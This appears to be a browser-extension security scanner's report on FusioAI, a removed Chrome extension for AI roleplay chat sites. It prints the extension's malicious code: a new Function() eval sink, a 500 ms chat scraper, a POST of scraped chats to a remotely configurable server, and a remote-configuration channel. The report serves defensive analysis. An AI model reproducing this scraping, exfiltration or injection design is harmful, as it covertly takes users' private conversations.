FusioAI: Visualize AI Chat | Character.ai, Janitor.ai, Spicychat, CrushOn

FusioAI: Visualize AI Chat | Character.ai, Janitor.ai, Spicychat, CrushOn

ID: maaaildnpfjnffkjifanfpjgkhdoipkg

Could be malicious

Supported Languages

🇺🇸US English

Extension Info & Metadata

Status
Removed
Version
1.0.1
Size
1.86 MB
Rating
2.0/5
Reviews
3
Users
135
Type
Extension
Updated
Dec 30, 2024
Category
Lifestyle Entertainment
Price
Paid
Featured
No
Visibility
Listed
Mature
Yes
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
doublemcompany123View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
2
Active
0
Obsolete
2
Listed
2
Unlisted
0
Total Users
135
Screenshot 1
Screenshot 2
Screenshot 3
Screenshot 4
Screenshot 5

FusioAI is AI image generator perfectly integrated with Character.ai, Janitor.ai, Spicychat, CrushOn. It will transforms your chats…

FusioAI is AI image generator perfectly integrated with Character.ai, Janitor.ai, Spicychat, CrushOn. It will transforms your chats into immersive visuals like never before. 🎨 Visualize your fantasies with real-time image generation directly from your chats—no prompt engineering needed. 🔓 Providing a safe, private space to explore your imagination without limitations. 🔥 Seamless integration with popular AI chat services like [Character.ai](http://character.ai/), JanitorAI, [SpicyChat.ai](http://spicychat.ai/), and CrushOn for effortless syncing. Whether you’re role-playing, storytelling, or diving deep into your fantasies, FusioAI ensures every moment feels real and alive. Join now and get free tokens! https://landing.fusioai.net/

Item
Type
Severity
Description
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 20% increase: Access to sensitive domains increases potential impact
activeTab
Permission
Medium
This permission grants temporary access to the current tab. Rated Medium because it can access current page content when invoked, though limited to user-initiated actions.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
https://janitorai.com/*
Host
Medium
Host permission — access limited to this URL pattern.
https://character.ai/*
Host
Medium
Host permission — access limited to this URL pattern.
https://spicychat.ai/*
Host
Medium
Host permission — access limited to this URL pattern.
https://crushon.ai/*
Host
Medium
Host permission — access limited to this URL pattern.
https://fusioai.net/*
Host
Medium
Host permission — access limited to this URL pattern.
https://landing.fusioai.net/*
Host
Medium
Host permission — access limited to this URL pattern.
Access to Sensitive Domains
Risk Factor
Medium
This extension requests access to sensitive domains: https://landing.fusioai.net/*
sidePanel
Permission
Low
This permission adds custom panels to the browser interface. Rated Low because it only affects browser UI elements and cannot access page content.
windows
Permission
Unknown
No classification available for this permission.

This script reads a `fn` URL parameter and executes it via `new Function()` — a classic eval-equivalent dynamic code-execution sink. Because `inject.js` is exposed in `web_accessible_resources` to `<all_urls>`, ANY website can include it via `<script src="chrome-extension://maaaildnpfjnffkjifanfpjgkhdoipkg/inject.js?fn=...">` to bypass page CSP script-src restrictions and execute attacker-controlled JavaScript. This is a deliberate remote-code-loading / injection facility shipped by the extension.

inject.js (Line 1)
! function() {  const n = new URLSearchParams(window.location.search).get("fn");  n && new Function(`return ${n}`)()()}();

The page (any `fusioai.net` page, but also `localhost:8080/8081` and a hard-coded IP `http://98.84.93.176/*` listed in the manifest content_scripts) can set localStorage values that are then forwarded into `chrome.storage.local`, including `fusio_server_url` (the exfiltration endpoint) and `fusio_textCrollSiteSettings` (CSS selectors and URL regex used to scrape chat content). This is a remote-configuration backdoor: the operator can change the exfiltration target and what gets scraped at any time without an extension update.

contentScriptClient.js (Line 27)
const t = ["fusio_sid", "fusio_server_url", "fusio_textCrollSiteSettings"];window.addEventListener("storage", (e => {  t.includes(e.key) && chrome.runtime.sendMessage({    action: "save_to_storage",    payload: {      key: e.key,      value: e.newValue    }  })}))

Background service worker forwards scraped chat content to a fully attacker-configurable endpoint (`server_url` is read from `chrome.storage.local`, which the page-side scripts populate from the host site's localStorage). The destination is not a fixed first-party domain — it is whatever value `fusio_server_url` currently holds — so the operator can silently redirect exfiltrated data anywhere.

background.js (Line 30)
"extractDivTexts" === r.action ? ((async () => {          try {            const [e, s] = await Promise.all([new Promise(((e, r) => {              chrome.storage.local.get(["fusio_sid"], (s => {                chrome.runtime.lastError ? r(chrome.runtime.lastError) : e(s.fusio_sid)              }))            })), new Promise(((e, r) => {              chrome.storage.local.get(["fusio_server_url"], (s => {                chrome.runtime.lastError ? r(chrome.runtime.lastError) : e(s.fusio_server_url)              }))            }))]), a = {              ...r,              sid: e,              server_url: s            };            await async function(e) {              fetch(`${e.server_url}/api/extension-crawl`, {                method: "POST",                headers: {                  "Content-Type": "application/json"                },                body: JSON.stringify({                  message: e                })              })            }(a),

On janitorai.com / character.ai / spicychat.ai / crushon.ai, a `setInterval` polls every 500 ms and on every tick scrapes the user's chat conversation (texts, speakers, character title, and image URLs), then ships the payload to the configurable server. NSFW chat platforms typically host private adult roleplay content; covertly mirroring it to a third-party server is unauthorized data collection.

contentScriptCrawl.js (Line 162)
let s = null;function a() {  s || (s = setInterval((() => {    c()  }), 500))}document.addEventListener("visibilitychange", (() => {"visible" === document.visibilityState ? (l = [], c(), a()) : s && (clearInterval(s), s = null)})), "visible" === document.visibilityState && (c(), a())})();

Bundles the scraped chat (messages, speaker names, conversation title, character images, full URL with chat ID) and hands it to the background service worker, which ships it off-device. Combined with the `fusio_sid` session identifier added in background.js, this lets the operator tie a stream of private chat content to a per-installation identity.

contentScriptCrawl.js (Line 148)
chrome.runtime.sendMessage({action: "extractDivTexts",texts: s,speakers: a,title: f,images: n,hostname: window.location.hostname,href: window.location.href,visible: document.visibilityState}), l = s))

Injects two scripts into the page (on fusioai.net, localhost, and a hard-coded IP `98.84.93.176`) that (1) expose page localStorage to extension-listenable events and (2) monkey-patch `localStorage.setItem` to dispatch synthetic `storage` events on the same origin. This is the page-side half of a configuration channel that lets the served page write arbitrary values into the extension's storage (server URL, scraping rules, session ID).

contentScriptClient.js (Line 1)
(() => {    const e = e => {      const t = document.createElement("script");      t.src = chrome.runtime.getURL(`inject.js?fn=${encodeURIComponent(e.toString())}`),        (document.head || document.documentElement).appendChild(t)    };    (() => {        e((() => {            window.addEventListener("getLocalStorage", (e => {              const t = e.detail.key,                n = localStorage.getItem(t);              window.dispatchEvent(new CustomEvent("returnLocalStorage", {                detail: {                  key: t,                  value: n                }              }))            }))          })),          e((() => {            const e = localStorage.setItem;            localStorage.setItem = function(t, n) {              const o = new Event("storage");              o.key = t, o.newValue = n, e.apply(this, arguments), window.dispatchEvent(o)            }          }));

Scraping rules (URL regex pattern + CSS selectors for messages, speakers, titles, images) are loaded from `fusio_textCrollSiteSettings` in chrome.storage.local — populated remotely via the localStorage→storage forwarding in contentScriptClient.js. A regex from that source is passed straight to `new RegExp(...)`. Operators can therefore reconfigure WHAT gets scraped on each target site, or extend scraping to additional hostnames, without publishing an extension update.

contentScriptCrawl.js (Line 33)
async function n() {  const n = window.location.hostname;  return e ? e[n] || null : new Promise((o => {    chrome.storage.local.get("fusio_textCrollSiteSettings", (l => {      const i = function(t) {        const e = {          ...t        };        for (const t in e) e[t].urlPattern && (e[t].urlPattern = new RegExp(e[t].urlPattern));        return e      }(l.fusio_textCrollSiteSettings || t);      e = i, o(i[n] || null)    }))  }))}

A production Chrome Web Store extension lists `http://localhost:8080/*`, `http://localhost:8081/*`, and a hard-coded plaintext public IP `http://98.84.93.176/*` as content-script match targets. Any HTTP server reachable at that IP (or anyone able to MITM it, since it is plain HTTP) can drive the configuration backdoor in contentScriptClient.js — setting `fusio_server_url` to redirect exfiltration, or `fusio_textCrollSiteSettings` to change scraping rules.

manifest.json (Line 38)
  "content_scripts": [    {      "matches": [        "http://localhost:8080/*",        "http://localhost:8081/*",        "http://98.84.93.176/*",        "https://fusioai.net/*",        "https://landing.fusioai.net/*"      ],      "js": ["contentScriptClient.js"]    },

Sidebar page weakens its CSP with `'unsafe-inline'` for scripts, and the page title is `DoubleM Extension Sidebar` — a different brand from the extension name (`FusioAI`). Mismatched branding suggests the extension was rebadged from another (likely template) project, which together with the configurable exfiltration server and remote scrape rules is consistent with a white-labeled spyware kit.

sidebar.html (Line 2)
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'"><title>DoubleM Extension Sidebar</title>

By severity

Critical5
High3
Medium1
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.0.19

Files with findings

6 distinct paths — top paths by unique finding count:

  • contentScriptCrawl.js3
  • contentScriptClient.js2
  • background.js1
  • inject.js1
  • manifest.json1
  • sidebar.html1
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
background.js (line 30)Background service worker forwards scraped chat content to a fully attacker-configurable endpoint (`server_url` is read from `chrome.storage.local`, which the page-side scripts populate from the host site's localStora…
2Data Exfiltration
critical
contentScriptCrawl.js (line 148)Bundles the scraped chat (messages, speaker names, conversation title, character images, full URL with chat ID) and hands it to the background service worker, which ships it off-device. Combined with the `fusio_sid` s…
3Remote Code Loading
critical
inject.js (line 1)This script reads a `fn` URL parameter and executes it via `new Function()` — a classic eval-equivalent dynamic code-execution sink. Because `inject.js` is exposed in `web_accessible_resources` to `<all_urls>`, ANY we…
4Remote Code Loading
critical
contentScriptClient.js (line 27)The page (any `fusioai.net` page, but also `localhost:8080/8081` and a hard-coded IP `http://98.84.93.176/*` listed in the manifest content_scripts) can set localStorage values that are then forwarded into `chrome.sto…
5Unauthorized Data Collection
critical
contentScriptCrawl.js (line 162)On janitorai.com / character.ai / spicychat.ai / crushon.ai, a `setInterval` polls every 500 ms and on every tick scrapes the user's chat conversation (texts, speakers, character title, and image URLs), then ships the…
6Code Injection
high
contentScriptClient.js (line 1)Injects two scripts into the page (on fusioai.net, localhost, and a hard-coded IP `98.84.93.176`) that (1) expose page localStorage to extension-listenable events and (2) monkey-patch `localStorage.setItem` to dispatc…
7Privilege Escalation
high
manifest.json (line 38)A production Chrome Web Store extension lists `http://localhost:8080/*`, `http://localhost:8081/*`, and a hard-coded plaintext public IP `http://98.84.93.176/*` as content-script match targets. Any HTTP server reachab…
8Remote Code Loading
high
contentScriptCrawl.js (line 33)Scraping rules (URL regex pattern + CSS selectors for messages, speakers, titles, images) are loaded from `fusio_textCrollSiteSettings` in chrome.storage.local — populated remotely via the localStorage→storage forward…
9Obfuscation
medium
sidebar.html (line 2)Sidebar page weakens its CSP with `'unsafe-inline'` for scripts, and the page title is `DoubleM Extension Sidebar` — a different brand from the extension name (`FusioAI`). Mismatched branding suggests the extension wa…
URLs
329
IPv4
1
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.w3.org/2000/svghttp://www.w3.org/2000/svg
www.w3.org/1999/xlinkhttp://www.w3.org/1999/xlink
janitorai//.com/chats///d+$https://janitorai\\.com/chats/\\d+$
character//.ai/chat/[-//whttps://character\\.ai/chat/[-\\w
spicychat//.ai/chat/[-//whttps://spicychat\\.ai/chat/[-\\w
crushon//.ai(https://crushon\\.ai(?:/[^/
janitorai////.com/chats/////d+$/https://janitorai\\\\.com/chats/\\\\d+$\
character////.ai/chat/[-////whttps://character\\\\.ai/chat/[-\\\\w
spicychat////.ai/chat/[-////whttps://spicychat\\\\.ai/chat/[-\\\\w
crushon////.ai(https://crushon\\\\.ai(?:/[^/
Showing 1 to 10 of 330 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

98.84.93.176
IPv4
-
Version
Size
Is Malicious
Findings
Permhash
1.0.1
Latest
1.86 MB
Malicious
9
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.